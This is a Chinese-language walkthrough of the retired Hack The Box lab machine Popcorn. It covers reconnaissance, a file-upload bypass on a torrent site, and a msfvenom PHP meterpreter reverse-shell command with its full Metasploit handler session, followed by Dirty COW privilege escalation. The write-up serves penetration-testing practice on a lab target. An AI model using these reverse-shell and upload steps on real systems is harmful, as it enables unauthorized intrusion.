HTB: Popcorn渗透测试 – 作者:WAFmax

基础信息

简介:Hack The Box是一个在线渗透测试平台。可以帮助你提升渗透测试技能和黑盒测试技能,平台环境都是模拟的真实环境,有助于自己更好的适应在真实环境的渗透
链接:https://www.hackthebox.eu/home/machines/profile/4
描述:图片.png
注:因为是已经退役的靶机所以现在的ip地址与信息卡中的并不一致。

前言

本次演练使用kali系统按照渗透测试的过程进行操作,首先对该靶机进行探测,获取端口与版本信息根据各个开放端口的版本,通过目录扫描爬取到网页管理界面,通过文件上传木马文件,最后利用脏牛提权获取root权限。

一、信息收集

1、靶机ip

ip地址为:10.129.106.162
图片.png

2、靶机端口与服务
nmap -sV -A -O 10.129.106.162

图片.png

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.2.12 ((Ubuntu))
3、网站信息收集

进入80端口查看前端源代码没有发现可利用的信息
图片.png
图片.png

通过dirb进行目录扫描获取到两个有用的网页

http://10.129.106.162/test                                                                     
http://10.129.106.162/torrent/   

(1)通过第一个链接获取相应的系统版本信息
查看PHP版本与信息
图片.png
(2)第二个链接是一个登录页面并且可以上传文件
我们可以申请一个新的账号进行登录尝试上传
图片.png

二、漏洞探测与利用

注册账号,尝试文件上传
图片.png
首先需要上传一个torrent文件
图片.png
随意在网上下载一个即可
图片.png
编辑torrent上传脚本本文件
图片.png
生成脚本文件

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.57  LPORT=4444 -f raw > shell.php

使用burp修改脚本信息,进行上传
图片.png
成功上传,进入相应目录下查看是否上传成功
图片.png
图片.png
发现名称被更改但是不影响利用
使用msf进行连接

msf6 > search php/meterpreter_reverse_tcp

Matching Modules
================

   #  Name                                 Disclosure Date  Rank    Check  Description
   -  ----                                 ---------------  ----    -----  -----------
   0  payload/php/meterpreter_reverse_tcp                   normal  No     PHP Meterpreter, Reverse TCP Inline


Interact with a module by name or index. For example info 0, use 0 or use payload/php/meterpreter_reverse_tcp

msf6 > use payload/php/meterpreter_reverse_tcp
msf6 payload(php/meterpreter_reverse_tcp) > show options 

Module options (payload/php/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

msf6 payload(php/meterpreter_reverse_tcp) > set 10.10.14.57
[-] Unknown variable
Usage: set [option] [value]

Set the given option to value.  If value is omitted, print the current value.
If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore.  Use -g to operate on the global datastore.

If setting a PAYLOAD, this command can take an index from `show payloads'.

msf6 payload(php/meterpreter_reverse_tcp) > set LHOST 10.10.14.57
LHOST => 10.10.14.57
msf6 payload(php/meterpreter_reverse_tcp) > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > set LHOST 10.10.14.57
LHOST => 10.10.14.57
msf6 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
payload => php/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > exploit 

获取shell
图片.png

三、提权

1、获取交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
2、发现user.txt

图片.png

3、脏牛提权

发现sudo -l命令无法使用
uname -a 查看内核版本
图片.png
发现可以使用脏牛提权
执行成功
图片.png
图片.png

4、获取root.txt

图片.png

总结

因为对msf使用的不是特别熟练,所以在反弹shell的时候遇到了一些问题,建议遇到不会的就进行谷歌自己动手找得到的永远比别人直接告诉自己的要印象深刻。

来源:freebuf.com 2021-03-02 15:40:39 by: WAFmax

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论